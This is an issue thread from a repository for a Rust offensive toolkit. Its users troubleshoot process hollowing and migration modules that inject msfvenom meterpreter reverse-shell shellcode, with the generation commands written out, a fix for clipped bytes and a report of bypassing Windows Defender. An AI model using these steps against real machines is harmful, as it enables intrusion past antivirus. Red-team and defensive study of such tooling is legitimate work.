process_hollowing/_migration crash without error on windows

[Hariama]

Is it possible that changes have been made in windows crate again that the current implementations of process_hollowing and process_migration don't succesfully allow msfvenom payloads to run? The tcp_reverse_shell works fine, but the other packages don't, even with xor/antisand.

[kmanc]

Hmmmmm, that's unlikely because changes to the windows crate would likely prevent compilation instead of causing runtime issues. That said I'll see if I can find some time this weekend to poke around and uncover any bugs.

Would you mind giving me a quick rundown of what kind of machine you're running on? Windows 10/11? Any antivirus? etc.

Thanks for raising this! Exciting to see folks using RCO and uncovering issues :)

[Hariama]

Hiya! No problem, I was really enamored by the excellent (inline) documentation, and as I am still very much a rust-newbie, I thought this would be a good project to chew through to get a feel for it. So in regards to the system it's a Windows 10 VM-machine, updated to 21H2 with latest security updates, antivirus is up-to-date Windows Defender. I spawned shell-code in kali in the right format (I hope) with the following command: msfvenom -p windows/meterpreter/reverse_tcp LHOST=[here_was_my_listener_IP] LPORT=[here_was_my_listener_port] -f csharp | tail -n+2 | sed 's/[{}; \n]//g'.

I then followed the steps in the documentation, both non-xor-ed and xor-ed with cross-compilation, and then started a listener in kali with the command mentioned in the documentation: nc -lvnp [here_was_my_listener_port]. I also tried a multi/handler-listener in msfconsole, but couldn't get a connection. After I turned off Windows Defender, the same thing happened. When it comes to the process_migration-package, explorer did restart, but no cmd-prompt could be found under the task manager (ref., like in the gif, as shown in the documentation). I did try to connect with a default generated msfvenom PE (same spawn code, just "-f exe > reverse.exe" instead of the piping at the end), and this did connect to the listener with the AV off.

Thank you for being so responsive btw! Your code is very well written, I hope more people will find and use RCO! :)

[kmanc]

Just ran a few tests on my VMs at home and it looks like everything worked as expected so I tried to recreate your steps and I may have figured out what the issue is.

I'll note that I typically use windows/x64/meterpreter/reverse_tcp as a payload, so if windows/meterpreter/reverse_tcp doesn't work it might be worth trying the 64 bit variant, but I don't think that's the problem.

I think the issue is actually the tail -n+2 part; it clips the first few bytes of the shellcode that msfvenom outputs. The good news is it's only a small tweak to your payload generation that you need! Can you try again with | tail -n+1 | sed 's/[{}; \n]//g' | cut -d ] -f 3 and copy that output? You should see ~6 bytes that you didn't before (on my machine it was fc e8 8f 00 00 00)

[Hariama]

Good news! It did help, thank you for your input. I've managed to get the process migration package working first with Windows Defender off, and then by utilizing the antisand/xor-features with Windows Defender on. It's really cool stuff! I did manage to replicate a bug I saw earlier yesterday when I was trying out RCO. When I'm including antistring as a feature, this results in the following thread panic: It seems to me that the called dll cannot be loaded?

[kmanc]

Well that's not good! Your assessment looks correct based on the error, I'll see what I've done to cause this

[kmanc]

Quick status report. I'm able to replicate the crash, but only about 50% of the time I try to run process_migration.exe. I've noticed that the value it claims to have an issue loading is different every time, and none of them seem to match the strings that I put in the find_function_address function. So suffice to say this one is probably gnarly, good find! I'm gonna see if I can do some playing around and see what the causes could be because at first glance I'm lost

[kmanc]

I'm going to leave this issue open for the time being because the best I can come up with for now is this patch that doesn't fix the problem but should make it happen less.

What I did:

• Reproduced the crash, though I couldn't reliably do it. I basically just kept trying until it happened
• Used the Win32 API call to GetLastError and print that to console when the error occurs
• Did a little research into the reported error (Windows error 126) and basically mostly found what I already knew; that there was a problem loading the DLL with LoadLibrary
• Made a few small code changes that can reduce the number of times RCO has to call LoadLibrary which should reduce the number of crashes (though they will likely still occur)

I was unable to figure out what exactly is going on here, but I'm glad I know that this can happen! Maybe as I learn more about the cause of the crash I'll be able to come up with a code change that can prevent it altogether

[Hariama]

Alright, thank you for looking into it so quickly! I'll keep prodding into the crash as well, it is a good learning opportunity! 😊